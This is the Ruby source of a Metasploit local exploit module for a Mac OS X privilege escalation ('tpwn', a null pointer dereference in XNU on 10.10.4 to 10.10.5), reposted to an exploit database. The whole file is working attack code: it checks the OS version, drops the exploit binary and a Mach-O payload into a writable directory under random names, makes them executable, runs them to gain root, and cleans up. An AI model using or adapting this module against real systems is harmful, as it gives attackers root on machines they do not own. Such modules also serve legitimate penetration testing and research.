## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X "tpwn" Privilege Escalation', 'Description' => %q{ This module exploits a null pointer dereference in XNU to escalate privileges to root. Tested on 10.10.4 and 10.10.5. }, 'Author' => [ 'qwertyoruiop', # Vulnerability discovery and PoC 'wvu' # Copy/paste monkey ], 'References' => [ ['URL', 'https://github.com/kpwn/tpwn'] ], 'DisclosureDate' => 'Aug 16 2015', 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64, 'SessionTypes' => ['shell'], 'Privileged' => true, 'Targets' => [ ['Mac OS X 10.10.4-10.10.5', {}] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ]) end def check ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe end def exploit print_status("Writing exploit to `#{exploit_file}'") write_file(exploit_file, binary_exploit) register_file_for_cleanup(exploit_file) print_status("Writing payload to `#{payload_file}'") write_file(payload_file, binary_payload) register_file_for_cleanup(payload_file) print_status('Executing exploit...') cmd_exec(sploit) print_status('Executing payload...') cmd_exec(payload_file) end def ver? Gem::Version.new(get_sysinfo['ProductVersion']).between?( Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5') ) end def sploit "chmod +x #{exploit_file} #{payload_file} && #{exploit_file}" end def binary_exploit File.read(File.join( Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn' )) end def binary_payload Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) end def exploit_file @exploit_file ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" end def payload_file @payload_file ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-08-30]